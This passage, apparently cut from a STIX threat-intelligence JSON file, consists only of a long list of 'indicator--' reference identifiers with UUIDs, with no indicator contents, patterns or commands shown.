        "indicator--88ecf258-e9e1-410a-9ef9-1f38155979f4",
        "indicator--c7989f95-cf5e-49a1-a8ff-ed4d9d63ffca",
        "indicator--7fc061d1-3deb-4d3d-bcbc-c11797c3feb9",
        "indicator--fde3b5a3-cb0e-4b9e-8a51-efafa95168c1",
        "indicator--aa5c1a38-7110-41fa-9ffe-b5cceee4e3c5",
        "indicator--95dd58f0-283a-4d0a-83c3-882097c9d40c",
        "indicator--242be386-17f4-490c-9f12-e5fcf5a48659",
        "indicator--84ba2710-0ca3-4dc5-a689-4cbc1415661c",
        "indicator--7a678d41-a339-45fe-9df4-e70ec1ab5a79",
        "indicator--aca5fee8-ba09-4585-8b0f-d2e02d916384",
        "indicator--5c1f0cbe-5fc9-48b6-bcba-69a95178b98c",
        "indicator--26c487a0-7ac6-41fe-adb0-b1b1bad8c3e1",
        "indicator--fbc7d825-0aa1-493b-8cba-9d19f2037e55",
        "indicator--3005d7b5-0a97-4d72-9416-bab8f95504f0",
        "indicator--a66a1daf-8c91-4512-a98a-cbd356ceba69",
        "indicator--92e2994b-2343-4a24-a4b8-b663c6826450",
        "indicator--825058dc-2253-4c9e-8ef7-c09e4d889072",
        "indicator--70b6ccba-03dd-485a-aedf-25f7de91b636",
        "indicator--8f7f7905-6f08-4a38-be8d-2a7daa703557",
        "indicator--0bcd4542-171c-4fd4-a654-47f9c7100711",
        "indicator--1d544c88-93ab-41f1-9698-2bf5556512cd",
        "indicator--2b636e3b-9b50-4e2f-b09e-0f38bc951e2c",
        "indicator--9999bdb7-dd0c-4413-86b8-57baf41fa1a9",
        "indicator--2d894173-7ebf-42e2-b604-45f8e6fec08c",
        "indicator--708670b0-e63e-45a5-a3aa-72a798951ecb",
        "indicator--5b0f8354-330f-4077-a2bc-10a2700d2832",
        "indicator--284cf290-5ef2-4a67-980d-7264b57ffb4a",
        "indicator--489380e4-a73b-46bd-97f6-b689d5b7d530",
        "indicator--46855f11-407d-4dbe-94a9-2fd82bde34ce",
        "indicator--6c32437c-ee58-434b-a115-dcf783d22f99",
        "indicator--92dbc44b-2813-4fd0-8daf-dc0563002a78",
        "indicator--4f2f6558-9354-44f1-930f-d158b51817a6",
        "indicator--59021bf9-6f96-416a-b1a0-d521c92f4fee",
        "indicator--2e7d521e-a360-4776-a39e-9ec7db11d8e4",
        "indicator--aeae4829-5298-4c72-ab16-6ad19f6fc295",
        "indicator--11cdd625-e962-43d4-b005-a803bbf09248",
        "indicator--48561ad0-6714-428d-bcf2-5414e1d8c268",
        "indicator--8a171c85-d303-477d-bfb4-f15a684f817b",
        "indicator--ca9b6249-5ce0-454c-97bd-bdf87ca3e00e",
        "indicator--7c259c25-d49b-4528-8993-1a9eb7415ae5",
        "indicator--587e5129-7a53-47e3-9810-07a23d1351e6",
        "indicator--7db69d8f-ff85-4d5f-92f0-4a570a87c2bb",
        "indicator--421edc1e-f349-46bc-bd0f-485d1fa6d230",
        "indicator--9041b643-75a0-47ca-b218-48ed972e28eb",
        "indicator--1dfdcb6d-c009-4c78-9495-74eee6fccd47",
        "indicator--aece91a2-38de-479e-9dd9-121b64da49ee",
        "indicator--e11bdbdc-c6d7-4863-8284-9905f8373fd8",
        "indicator--b5a89852-f5fb-47f2-a70e-0cd2ff2a8752",
        "indicator--d89240b1-5ef5-4c2a-b216-855e35a23e10",
        "indicator--b2b4c3cc-2ef8-4ccc-8bf7-3aae31faa771",
        "indicator--c6fb6fa7-a8d0-4ca3-a05f-4b1acf78e8d3",
        "indicator--ca3aa1cb-ce71-4df8-9176-9e78f20d3345",
        "indicator--3fd8015e-eb0a-49e9-b76e-23dc347b7a2e",
        "indicator--f9004356-5c0e-4605-8e11-1c1118f77a24",
        "indicator--0c5b570e-99cd-453b-8fb7-72263a10783b",
        "indicator--72cf0398-e229-41c2-b473-9e792c228ba4",
        "indicator--b6c1a42f-3c4d-4fc8-a484-11d65db57ea2",
        "indicator--64aa268b-fc47-4ed1-aa0e-189e0c64ef67",
        "indicator--b28403d3-1d3f-43cd-a1f6-c763c559c1de",
        "indicator--e8f4dcc2-16c2-40e1-b526-e1bded28b050",
        "indicator--771fb671-3bbe-4500-8586-21eed1160ee3",
        "indicator--06377b15-6301-4b80-8347-cc65ac22e8f2",
        "indicator--d87e992c-0354-474b-b572-bba9ee550a01",
        "indicator--ab917fe2-52b2-41bc-aa30-26c2fb657d46",
        "indicator--558309c4-2ffa-42fe-9375-30a94aef23ab",
        "indicator--77a5359f-9189-4e09-a7e7-60e5727f42b4",
        "indicator--94a51f63-3c49-4d36-8af9-5b8b5d6b3722",
        "indicator--5dc078ec-02e0-4c94-b908-274b98651a23",
        "indicator--4de8bbff-f984-4d9e-b242-341fedb6523f",
        "indicator--425db24b-9136-4fdf-be80-89426ffae545",
        "indicator--f4bda5e9-88a5-4a48-8d78-beabf13e8c70",
        "indicator--ac2d0610-e6aa-4c32-9ae9-3497aa30b39e",
        "indicator--163ea12e-8adf-4b99-b63b-2588a781deee",
        "indicator--2864320c-9010-4861-b0ea-2bef2fcbff05",
        "indicator--dcab302b-1697-4bcd-960a-5f5675c451b3",
        "indicator--0737902e-3127-41c6-bb9b-c02e1ac1be3e",
        "indicator--61c0b394-64c3-479f-84fe-141dc388d085",
        "indicator--7f92b9c1-0197-4718-9b43-babb3be96845",
        "indicator--1aaae3dc-ce78-4769-9788-ba0151298c2d",
        "indicator--ba1cda76-421b-47d8-8cf8-c048506735e2",
        "indicator--c9d44c02-6d9e-44bf-ad40-000e0c03455a",
        "indicator--8e92be78-983c-49aa-9c5d-821c65b659a2",
        "indicator--e8f9e767-52ea-4c76-83f1-88ecf6d135d5",
        "indicator--71e21bff-7b38-4842-9f0b-5977aae05eff",
        "indicator--584e9910-9131-492b-9471-afcbbc2299a6",
        "indicator--14926d3b-c0aa-4112-8e48-5a83912765fa",
        "indicator--d9cf129c-1c28-4777-8fea-5f9be20e52ab",
        "indicator--de57ef7b-9e43-4ae0-976c-3a803293c860",
        "indicator--7e0bfaa6-2b47-4c30-8250-a04cd180096e",
        "indicator--257c4b14-d936-4c15-8984-63cc4bdf9c85",
        "indicator--43360161-89eb-4596-913e-d01933f220c3",
        "indicator--2d3edb85-3617-4d45-8e92-c27a2288e031",
        "indicator--47ccf009-2709-49d9-9357-b1275573b83f",
        "indicator--3fff0e1c-6e6b-419e-b986-6e8492db1960",
        "indicator--eddf76f8-854f-4477-8d45-1999affd18d9",
        "indicator--1296a086-6d3a-47ba-befe-05134eaf7e4e",
        "indicator--1f732cab-1d48-4279-9a9f-4d5de0e0ab86",
        "indicator--0c380047-36c9-4c15-bef3-ac0147a1ca79",
        "indicator--f26a27ce-5209-4421-9bc8-88c065082ac1",
        "indicator--e10c02eb-4430-476c-b3ca-33e73bc12851",
        "indicator--e54f41c6-e61e-49de-8f2a-263091c55645",
        "indicator--f4cdc407-40c3-4477-912b-4b02b04aa742",
        "indicator--3b985400-1911-4835-90e2-5d45f07bcb83",
        "indicator--a92e5e8b-2933-4521-b589-8390ac0b51a7",
        "indicator--08b1415a-9b43-448a-b793-9f2998843b87",
        "indicator--978c87d1-271c-465b-a606-94cd53283a32",
        "indicator--41bd5bf9-f780-419b-91e2-5d6d91c78426",
        "indicator--fb68cbdd-02af-4d4e-87fc-cd91deab4a89",
        "indicator--c7e96d16-cee6-4ab1-8096-06e9e4477f16",
        "indicator--bbc5cfc5-8bae-4367-8449-00c510495d30",
        "indicator--a8743035-5e86-4715-af43-088dc77053db",
        "indicator--7827d713-3ad1-42fd-ac66-9df2d53e3daa",
        "indicator--66eb55b5-0ab4-41c3-abdb-4d4c91606fb5",
        "indicator--b1cb6914-8f58-4ac5-8585-85f4f54c7206",
        "indicator--141e7d52-6f99-4ea3-8e76-9fd7f9f538d8",
        "indicator--5087b1f0-6a03-4fb5-9a10-5f1658ce22e9",
        "indicator--0d499750-d651-478f-9ca9-b8f4d5a901c4",
        "indicator--b7909539-1aed-4cad-8a1f-9a925a177baf",
        "indicator--9a4e40b2-9c61-4384-9523-eedf447a947c",
        "indicator--d138439e-0763-422d-8c64-a9356367be5e",
        "indicator--39b02636-886a-4702-b762-bb80265af082",
        "indicator--b1dee52b-3071-4d77-a9d3-555b6da577e9",
        "indicator--83ed4498-0153-4d34-a981-fd997ce02650",
        "indicator--4d6f2e20-6984-4b80-999b-b98169784806",
        "indicator--d80ca06b-ebd6-4d64-b188-cba0f172ea9e",
        "indicator--fa0dcc62-44cc-4dd4-bb72-ba2e70afc1c6",
        "indicator--cc3e916b-f49b-40e5-a68f-42e663f39dc9",
        "indicator--652a4021-8f5d-4cf7-9512-cbb9257d4c94",
        "indicator--47c0208f-a26a-4386-82e2-d1b2641e0c3f",
        "indicator--0d86adee-9ec0-4b0b-a580-43d33dece891",
        "indicator--0b1978dc-0bc5-4a6d-ad17-9a44adbc8d1e",
        "indicator--a3a68966-370c-4d29-bb51-c996d6a3e5f0",
        "indicator--15571977-b28f-4602-847f-56c3dbdf1a74",
        "indicator--6b29b29c-2035-402b-9b55-10a40be4c9a7",
        "indicator--9f41e391-b44e-4bc8-ac52-81188ee33393",
        "indicator--b173903b-4edb-45c3-a1fb-223a0bfc0853",
        "indicator--8e24e625-a993-410c-aaf1-53b18685fdd5",
        "indicator--5e35109b-7678-4442-a56a-3b9b8115d305",
        "indicator--9675c442-edc6-4998-9397-760ec7a1e113",
        "indicator--2414dd7e-ff90-4d7c-b699-0f14db5af2b8",
        "indicator--c6f47945-c26a-4295-a672-d49d9949ca50",
        "indicator--38f0ccad-a114-48ac-ab44-539610f0eea1",
        "indicator--1a4548c7-6682-471a-b06a-dd0c778065b9",
        "indicator--46e4a4fa-6cad-43b2-a1c6-4af44444e670",
        "indicator--e5e88c73-b2e2-4fac-9119-34c93bcf67af",
        "indicator--8f6cacd3-1242-4322-8c20-3640275ae53f",
        "indicator--fed758bd-83c2-47bd-b7f0-5c8e92e8791c",
        "indicator--4fd1b215-4b56-415f-81c7-ed673ec248d8",
        "indicator--41dc6e29-385d-460c-8af9-69b9b15c1e80",
        "indicator--a4a4535e-5c46-4324-875b-d98b6205f85e",
        "indicator--5fed55a9-36e0-437c-ad7a-30c1b64460b1",
        "indicator--5dbd0747-b985-4dcf-b5f3-62b2e92e2204",
        "indicator--a544a7b2-ee0b-4afa-b9b0-23a08673a089",
        "indicator--8f7613e1-19b6-4f86-b516-d4825084968a",
        "indicator--462ca37e-0d1b-40a4-ab8a-788161fcc9ba",
        "indicator--7b51d1e4-e0d6-4cae-a0fc-59ed16249437",
        "indicator--73828e5b-7c60-4510-ab42-a8fa6362a6df",
        "indicator--0b826901-4858-4187-97dc-65b33c25e571",
        "indicator--74c03abc-0e0c-4f54-bc62-18feaf3eeecc",
        "indicator--23cc52f5-f55c-48d5-807f-d3460e538d35",
        "indicator--1bbf2555-4daf-43d6-8f3f-c3d7dcd9ad4d",
        "indicator--79566ace-2cdd-428d-838d-51608082f5eb",
        "indicator--406bfb45-56ef-4fc0-b974-c5f5a0b0938e",
        "indicator--e3e2fbfb-9bdc-465a-a09f-543a2c098b6c",
        "indicator--37eabdae-c25f-488d-b1e8-517384eb3223",
        "indicator--e7125c83-e7c4-433b-90d7-001727357fbc",
        "indicator--f2c3b6b6-27bf-45a1-ad1f-cf7b69ba1973",
        "indicator--f465b2cd-8f22-46f2-869a-ff125a4cc6c8",
        "indicator--257c6f92-bcb1-423a-8050-08c8ea8b0e73",
        "indicator--04a8387f-61ea-48d8-974f-b9dd09f40661",
        "indicator--14e359bb-a8db-4389-9aa1-0dba2b7fb723",
        "indicator--df86632d-43c8-489e-aee9-fa64edd4d1c4",
        "indicator--d1b2a830-ad3e-429b-bf86-c1c4f16e3481",
        "indicator--c64c5ffa-1f56-4df2-bf4d-bf97fabe618a",
        "indicator--18828608-becb-493b-8fad-ea8c3f3bec0f",
        "indicator--09fa472c-95d1-47d3-8a25-82fdf7dee35f",
        "indicator--5857159d-0396-49df-8d41-fb4a48358d29",
        "indicator--a9714629-0cd4-43c2-9e23-2dcbc1a32197",
        "indicator--ac56d195-e7df-4f12-b4c1-bd81cc3c75e6",
        "indicator--7f7bfc53-6765-441c-9115-8c75be554be1",
        "indicator--6e0b9442-7095-402f-bae7-3f9390349479",
        "indicator--be4e074f-6e54-43de-9f99-4aadc0d8ec64",
        "indicator--ae9f033c-a443-4da2-8264-2719c58759b8",
        "indicator--2f04636d-b3a5-4511-aaa5-6f305d587080",
        "indicator--1933b1d9-3b9f-4f4f-ad77-72a296ff9a1f",
        "indicator--44a387c5-9db8-4562-b602-dafd2cf53daf",
        "indicator--c3644ed9-3b81-4177-b57d-550a58eb3e17",
        "indicator--e09b5f46-5cab-40da-ad67-247f2ecac454",
        "indicator--1aaa7aa0-d063-4613-8995-dc78b988f862",
        "indicator--c9ff3300-6e4e-4b7c-9a13-4906c9faf4d6",
        "indicator--99e40319-f43b-4a76-8b34-4706cd11bfc4",
        "indicator--a65482fa-7020-4650-abf9-8da49d7d4be3",
        "indicator--1778b1d0-87b5-41b1-aae4-dbf792c602be",
        "indicator--d6dcb4a7-3618-4a11-bfc4-f3b9315d8ff5",
        "indicator--8a44ec6c-7c06-4048-af7d-1985ccd81d41",
        "indicator--4cdaa40f-f0c0-4181-b696-513fa3e4f463",
        "indicator--f7442c23-fc67-4678-8b7a-dfa1b5a85d62",
        "indicator--86c40c6e-8398-4fec-9dff-3a7c799f2d09",
        "indicator--2963eeae-0e46-4477-a2b5-810e7d9125e8",
        "indicator--07e0abd6-4a2d-4f49-861d-ef2160146673",
        "indicator--b4f2f408-57b1-44b1-81b7-ce698e98d2af",
        "indicator--e28e4966-5bef-432a-87af-04454c294eb2",
        "indicator--ae722e0f-317c-426d-b0f3-1c811b92653d",
        "indicator--e1de9626-acab-4171-9407-840d94b8ee4b",
        "indicator--715989f9-b5b2-45c5-a79f-98f03e624344",
        "indicator--e3f5d524-ed6c-4671-b17d-6613f131c15b",
        "indicator--73b72e4b-5679-4b73-ad50-16cceaca2b82",
        "indicator--ebf1d88c-6e5c-4ebb-ab88-da26e6fcfbaf",
        "indicator--9f88f884-c370-4bc7-bd02-145592794f22",
        "indicator--f0a4077a-81ce-40ed-8d96-4cb0ab1f66c7",
        "indicator--edabbb6d-38bb-45a0-8c9b-1b66702c7833",
        "indicator--1cf1eb96-1ce3-4ded-9a6d-e365a83a596a",
        "indicator--ce372b6c-cf03-4b5e-b408-5c3a3f9dfd70",
        "indicator--12ae03af-dd29-424e-9c0c-20a4da03475c",
        "indicator--cfed5236-607c-45aa-a07b-e336037d332e",
        "indicator--5fc664c4-9b02-4d2d-bbb4-c7d9c213cebd",
        "indicator--c68d18f9-62a3-4bda-89f8-100e784baf78",
        "indicator--d2516e15-2a77-49c5-854c-86bcb2add3ef",
        "indicator--e71282ea-b4f0-4ce6-b115-ec73a682e007",
        "indicator--3c8717bf-fed6-42df-9392-223f92aa6066",
        "indicator--7f955b74-78ba-46b4-94dd-33c17d50b3b6",
        "indicator--d820147d-d833-41f9-a83d-4d5c05de5ae1",
        "indicator--53c3a0ee-df48-4724-85d9-e910dd32f061",
        "indicator--bcb0ccbc-61bd-47e8-976d-3c0de9405c46",
        "indicator--00e23bee-27af-4186-bc99-4f313bb4007e",
        "indicator--bc3378ed-e5cb-4791-8601-85bec4888970",
        "indicator--704fe9b8-8915-4a1f-a031-30d1621ddd36",
        "indicator--f5c99cbc-b11b-449e-962f-d577d5234dfa",
        "indicator--c1f9f519-c6e4-4b1d-b8e5-849a0095c009",
        "indicator--c0d3a664-f6ec-40e6-b944-e9f9f4ecb812",
        "indicator--21fb99fe-88b6-4e50-9e6d-99bbbda90d9b",
        "indicator--53e82b51-17e7-4797-bd31-ce955fe9d766",
        "indicator--775d5014-4ef4-467c-917b-486faf1085ea",
        "indicator--13aad94c-9407-4010-9603-316bee3f557a",
        "indicator--4c24a627-0c32-40c0-ab92-ed17b95505b1",
        "indicator--5cec3a01-d85d-4282-ba02-4ffb9ccad251",
        "indicator--2110516c-64b8-4e81-b6e3-41f1b6d10856",
        "indicator--1a04471f-7e8d-4712-a8e6-eeb57baa389f",
        "indicator--830524b4-7a01-48b3-b9bd-dbfa57c48830",
        "indicator--3bae965f-dc9d-4d56-b1f6-949aec11fcfb",
        "indicator--678501b0-a97f-4259-88c1-00de4751418b",
        "indicator--d2a2e5b5-bafd-41d2-b7df-0ddb777584af",
        "indicator--e95fe084-9e10-4237-a7c6-3bbec2ec6513",
        "indicator--819862f9-d806-40e9-8a30-a3ea5975c11c",
        "indicator--b1267376-ac67-4d42-b40d-baf6bf3fd3dc",
        "indicator--5dccad3b-fbca-4b0a-a7b2-3abe6efb7a2a",
        "indicator--5ab98f65-0694-4fb9-894f-9e37a148a0fc",
        "indicator--6a2a6b1d-0b5b-4571-9231-83cdea853734",
        "indicator--448f0713-2a0d-411e-8dc7-e0aaf90c1ff8",
        "indicator--c7f20e04-6f04-4abe-81ee-d7aeaa4c5213",
        "indicator--52b9b9e2-9c36-4daf-9bed-7b7c620677de",
        "indicator--5bbed8e4-9a9c-47e4-9ae5-2176cf97abd2",
        "indicator--3d56a804-87b5-4b64-af1c-289cfe1a4700",
        "indicator--9ab5dfc9-4b7c-45e7-a697-b377dc259957",
        "indicator--7ddbdb1c-3c19-4422-9d0e-9e85992d3fe2",
        "indicator--b25076af-f76b-4c37-a8fe-0384aeca436d",
        "indicator--34e180a5-81f2-424e-8dfd-27df5acae219",
        "indicator--023b0897-9ce8-42c9-8cba-dd19023f6944",
        "indicator--c2d9ca03-9cf0-41c0-b039-940e81ae4fd9",
        "indicator--2e00bd03-e4fc-4289-9566-a46c65391443",
        "indicator--6409e649-f053-415f-a960-c8e1d5f1461d",
        "indicator--3358c334-65b8-4305-97f2-cbba18fe3ced",
        "indicator--f2659e51-76fe-46b3-9195-be567442b5e7",
        "indicator--983da343-1b4d-4880-ac90-abb4ed759bb4",
        "indicator--e159cbda-adf3-4790-984d-45eb9ec9d805",
        "indicator--52fc0fa5-a370-4ab8-ab07-048fbda787de",
        "indicator--a41e9b76-358a-421a-8b9b-2c74633d1a74",
        "indicator--97366bb1-9881-4e84-b9d7-fb54dd9f99b9",
        "indicator--71ee8636-d409-4d18-b51a-dfb4e17c2e5c",
        "indicator--9f1b1595-881b-47dd-a673-998b69c4fd19",
        "indicator--a0583ffb-abad-448e-ae94-fd30fc231b31",
        "indicator--13bd192b-7733-4a36-8d9a-5fbe13ceae72",
        "indicator--ee7e81e8-42d2-47d9-8ebd-4b458d23f38d",
        "indicator--f4e14a02-d4a8-4731-a03e-9c685bff0782",
        "indicator--dd2d2eba-09a5-4ce3-b96f-21fda38c03e6",
        "indicator--72e3d5fb-6fb5-4920-a28c-fafc3f34e400",
        "indicator--7d02af7d-5d5f-4567-b172-d7fa8eb0fe1d",
        "indicator--fec319d7-b195-4248-a39d-7250fe38ff43",
        "indicator--52c21c72-2566-489a-a328-960b6cf85fd8",
        "indicator--793cfc5f-63e2-4c7f-a461-b87ca13c11da",
        "indicator--28917f27-7aa3-4af8-8a03-3f1cee3af644",
        "indicator--2e9f3c5d-4a63-4ad0-a208-85127ba92a0a",
        "indicator--109e5ce6-e570-41ee-8ee6-9167e559aff4",
        "indicator--32474cef-edda-4b7a-b2c5-a1d20106f5f4",
        "indicator--ea59225b-3442-40f5-949b-f239662803a5",
        "indicator--bab610e9-6cfe-4c83-8a09-9aa336e6d882",
        "indicator--3ba29d70-82ff-4269-92c7-4a00d7d61ea6",
        "indicator--e82fe62e-c283-4005-9217-7a3752f1f30a",
        "indicator--f7147acb-d2cb-4453-a7cb-77a295b2c41b",
        "indicator--44235e62-7505-4a18-bebb-5cdb4cfbbf4a",
        "indicator--5f021e7c-836b-4e3a-bf03-3528723a3cc3",
        "indicator--dacd6371-dbe3-4a4a-9e5c-e72fd551db1d",
        "indicator--e5a46e2b-b9c0-4a9d-b818-75001dead3c9",
        "indicator--f4704c27-cfb6-4eb0-8232-29337ff5f372",
        "indicator--eb42e6df-f002-4307-8ad7-050b0cecc0d2",
        "indicator--207bd393-7696-431b-8695-5b636adf6c2d",
        "indicator--5ee36acd-4492-4b81-af8f-a7b19bbef225",
        "indicator--964f8e6b-a4e8-42e2-921b-70af00cbe8d8",
        "indicator--ae0f7b3c-73be-44ab-bd81-4150cea5a989",
        "indicator--60e1fa82-979f-4bd2-b3e9-da8a61ab93ae",
        "indicator--79c3b49c-4ad4-43e6-83c5-f0d30fad0268",
        "indicator--e9fa1fce-fb17-49df-96b8-174eb563d8cf",
        "indicator--74783a32-f012-4a5b-90e0-780d0887dece",
        "indicator--eda23a14-37d9-47c6-a996-60f182e929ce",
        "indicator--f3212d9c-46bf-4e4f-818d-74a3ea0b9595",
        "indicator--01cae381-47a5-41bd-b851-a0e96d6c76b9",
        "indicator--8f3123c4-0e99-41a2-bd2c-4c3d6011dfb4",
        "indicator--5978bb2e-797e-4fc9-8df5-4012840bd9c0",
        "indicator--a09d21b1-7443-496d-bcb0-f675dad73893",
        "indicator--c1855300-03e0-4b19-a6ad-0f4023f78f2e",
        "indicator--49f1a1dd-985c-4d8c-b9fe-17e9ab78f476",
        "indicator--5f3579ea-321e-4d00-9219-f91ba950d9f3",
        "indicator--edc1905f-f330-4bd1-b711-61afb03593e2",
        "indicator--4d45524f-6cd7-491f-abf0-e80659ccd738",
        "indicator--5f19a46f-2b0f-4eb9-b1d0-efb3abcd9f94",
        "indicator--08ea0656-dc76-4a89-9d4a-6c91fa35fd88",
        "indicator--e55e10e0-f617-4a98-920e-df998ad297c6",
        "indicator--548c04f8-4784-4bd3-b392-c17a02034e8c",
        "indicator--6a8ca04d-0af7-4b96-8a0a-08ff20fb7883",
        "indicator--bb8d650d-eff2-4b96-bfff-766796b7bf2b",
        "indicator--a351a136-9609-4b54-a08c-56da7ddf5474",
        "indicator--d013a169-9907-44cb-b565-118e88f8caf1",
        "indicator--2ac32364-923f-4896-8ad9-060f87b7e62a",
        "indicator--105b5245-4868-47cc-88dd-31e0cb681066",
        "indicator--0f955925-512c-41c5-b0c7-0aa385a8be72",
        "indicator--1773cd38-f829-449e-a937-bc554445b40d",
        "indicator--dc265159-b563-4582-94e1-164dbfbad873",
        "indicator--187491f5-478c-422a-ac4a-38ac9739456b",
        "indicator--5ef54844-763f-43dc-9914-0ef16b6c38e0",
        "indicator--7af5fd37-428e-4353-81ff-ddcc509ec805",
        "indicator--e320eb65-b663-4dcd-b063-eae23a0f6566",
        "indicator--42ea5000-33a5-497b-8597-42c5e47cb68e",
        "indicator--7703535e-48e7-4c15-9a2b-95fb79362c9b",
        "indicator--94a481aa-e5e2-470c-9f1b-d6d3a706c69a",
        "indicator--943fca76-19a3-4cc2-88e4-f7a7ac024614",
        "indicator--d70bec42-f242-4521-94d6-551acba83df5",
        "indicator--76561da7-cb95-4596-8922-af3d6276befa",
        "indicator--8649ffc1-4cf1-4003-9516-ab99736b8ba6",
        "indicator--192dd160-2b87-4858-b89f-f0d3f08ab08e",
        "indicator--ecb2abb8-da92-4fce-a78e-c84addbe2566",
        "indicator--00e27606-8db6-48bd-9b63-787d9a7bd6a5",
        "indicator--6162434d-c407-4612-93d5-95e352404ef0",
        "indicator--bc5a7c19-beb0-42de-9122-24cc92f94f76",
        "indicator--1033e345-c6c3-472c-ba4e-c6e0f9d7f5da",
        "indicator--26c8b409-bea9-4be0-9878-f0055c0fa493",
        "indicator--e482bcba-4809-4b02-97ab-175d683befe1",
        "indicator--d91d1429-aa1c-442a-a537-15e2fdf3a15a",
        "indicator--c919c2ea-d69d-4dce-a810-d2c5c4a54d54",
        "indicator--4f4d9b60-f01f-4bbe-9e63-02353501a3cb",
        "indicator--19b444bf-0f84-4697-9ef5-72a6b78521de",
        "indicator--1867f3ff-45a8-4f1b-b749-edcd49221a9b",
        "indicator--c8a8addd-14d2-4335-b148-45759ba68716",
        "indicator--57350d23-4087-461b-9ecc-c6a76fd64d81",
        "indicator--539d64e2-1d23-4c74-96b2-a83428a1366e",
        "indicator--bb9096f5-abeb-4cf4-bf86-5955b84e8a8d",
        "indicator--6b35d98b-5957-4a2d-9125-bf21c33fca81",
        "indicator--f88aea15-8b37-49c5-90f0-2bcd82642b18",
        "indicator--2e47b6e5-6275-48ab-8576-6f7005fac5d1",
        "indicator--11608777-80d0-4b80-a245-dfa818f30dcd",
        "indicator--8be4455e-8f31-4cf2-8665-eb64cc87bc92",
        "indicator--8d48304b-04b0-42db-ab7c-98b4361a64d7",
        "indicator--455b4395-4247-4aed-a908-30a61a48df91",
        "indicator--6c1f627a-6e66-4b8b-ac19-b851f5bd424b",
        "indicator--28388b44-2010-4414-9c35-5709e6aea9af",
        "indicator--4b13dd6e-3128-4204-9fe1-c21c22e8828c",
        "indicator--67ce2655-f1a7-4b16-b08d-b6724b8ebed0",
        "indicator--e9e9c1ab-035f-451e-8dae-409d2d1a20ff",
        "indicator--84d3b066-b365-4f17-9778-551f51918a6c",
        "indicator--f11cbdab-b507-4860-8a59-99f3a6bba8c2",
        "indicator--8429ec3b-c60c-4a07-afbd-179ba449eae1",
        "indicator--4f3fb105-2e84-4922-87c6-7b33b58fe32f",
        "indicator--e49d6154-f4f5-444b-8d37-ce717f007e44",
        "indicator--a8ad15ee-e218-41d4-a0d0-e889bdf7c324",
        "indicator--eff23a34-1c33-4ff7-b710-ee6b51f19c03",
        "indicator--581900e1-3e1d-499c-b324-55b0c1eff832",
        "indicator--48c96873-b9c4-4aea-93e0-628d2efcdd6d",
        "indicator--e54998ac-d0c0-44d2-9d57-d1681298a37d",
        "indicator--2a1192d4-63e8-4729-b7c5-fe911657fc58",
        "indicator--be540ef0-e1db-4359-bcb7-54ad267f7e2e",
        "indicator--6061a139-2358-4f19-a0e4-ced459f80d08",
        "indicator--17c8b46a-ee57-42b2-ad72-1cf9bf736e4a",
        "indicator--55feeac1-07d6-4af8-9749-9a0ddc48d100",
        "indicator--1af275aa-ea8e-48f6-8246-e84fa431c1c7",
        "indicator--5e70ff8f-a1ca-4bdd-a8f6-c3bcf46f42bf",
        "indicator--cd6482d1-f540-4431-8823-58734b494c70",
        "indicator--49563307-af17-47b0-bfd5-133b2efce82b",
        "indicator--e57e58b1-5946-4073-a919-2c0cb4616406",
        "indicator--feecf00f-d701-47fc-948d-d0d6b362a010",
        "indicator--74bbfaa3-8189-4b86-b4ee-cecd076c70da",
        "indicator--806b2423-4c6e-4d4e-acbf-e22a31b3a1c8",
        "indicator--2aabb827-032b-49bf-bdef-884860f1835c",
        "indicator--73da62c9-0c0d-4c88-9787-33b8f19cbdaf",
        "indicator--91ead6c8-b588-42a5-a68f-f3566faf0224",
        "indicator--4c0eb8db-18f7-4e8e-8825-b0dbdb854c9b",
        "indicator--45cc7026-3436-4c60-be7a-e3bb77d2d42e",
        "indicator--25ba71d4-155b-41b3-bb16-07ffd45c6f28",
        "indicator--e04afefa-0b40-4bd9-8689-cea54bd65481",
        "indicator--747a0c27-ec09-4158-a76c-a998f37b2f6b",
        "indicator--ee76baf1-eb0b-4bd5-82ee-1499694fa83f",
        "indicator--5abe6e29-3c0b-4e38-9b2c-e438f99aa8bd",
        "indicator--2501729b-173f-488b-9f1d-e645a5c8fa01",
        "indicator--049d4fb4-c2b9-4ef4-9d62-578fb9caa792",
        "indicator--754fd9c4-e331-4615-be4b-acc541a6f92b",
        "indicator--44775bb6-5822-4c16-bf24-55014ed15d51",
        "indicator--af4afaa6-4303-428c-9ea6-7d9f9d0753d0",
        "indicator--1ca5bc22-c40e-4d2a-859e-151dec4b6d38",
        "indicator--3c5774b6-def6-4831-98ff-fd67faf758c7",
        "indicator--411e5fee-d181-4daf-930e-3e8d9d9b4e55",
        "indicator--4b4af47d-25ac-48fc-8f85-c02be6a2dc4d",
        "indicator--ca982df7-44bb-4b04-a474-fa887ec067f1",
        "indicator--108b86c0-b022-4eee-ac7b-81e306eba2a3",
        "indicator--df25bff9-9a94-48b3-bc88-1688f60adccb",
        "indicator--13d57f43-ab02-49f2-ab3f-37e5ed7fc42b",
        "indicator--abc64f16-b013-419d-b562-07df205ad880",
        "indicator--29dafb75-ed4e-403f-93a5-1f425ee22fa6",
        "indicator--c5657608-3cda-493d-8749-4af5b0947bdc",
        "indicator--8cd54ffa-f4e6-4179-9bbc-455a371f0f5e",
        "indicator--9542fc2b-0177-421a-bb3d-9a109ec00f9d",
        "indicator--0da37bae-51c2-4daa-a388-1d43d2b92138",
        "indicator--113a74b5-084d-492d-a869-fd3ff9213489",
        "indicator--4772bec6-5edc-4e44-bf5f-521c7c664e55",
        "indicator--f7be53c6-1d7d-407e-b6c4-98ddbba239d4",
        "indicator--581d9d40-f818-4ea8-9c7d-00654025e018",
        "indicator--42ab7cb5-9f4a-4d15-b5fc-99295e4a8280",
        "indicator--1ac74749-dfcb-4cc9-aeb6-c91e40492ba6",
        "indicator--ea62c971-51a3-4045-8f4d-e39a8aaf5b12",
        "indicator--0697e1b9-ce52-4ae6-b703-a9dcfa7e5f75",
        "indicator--3a91bfef-3c24-40f6-b50b-696b379c4637",
        "indicator--db81c215-aa54-46a7-991f-e56e29be14b4",
        "indicator--612104bf-0253-446a-a890-afa8ece365ae",
        "indicator--fd9d38ca-de45-4ef8-8ba6-c4a142947783",
        "indicator--f5031ef2-314f-4caf-ad26-021337519975",
        "indicator--a8ae8cad-e75b-44ab-a214-3b377e8024b2",
        "indicator--4e33ede0-b29e-41b2-a05e-4795ed706704",
        "indicator--ee2d7591-8b92-4584-8092-45d45d9b63a5",
        "indicator--a076d228-a603-4ea3-bc0b-07ed7242c94f",
        "indicator--a11c7c0b-94fd-4735-892c-fa5086495d36",
        "indicator--5b78f6ba-a91f-4843-9ba2-a82c04fc3019",
        "indicator--e2a5ef02-643f-4537-89dc-3b9da65c887c",
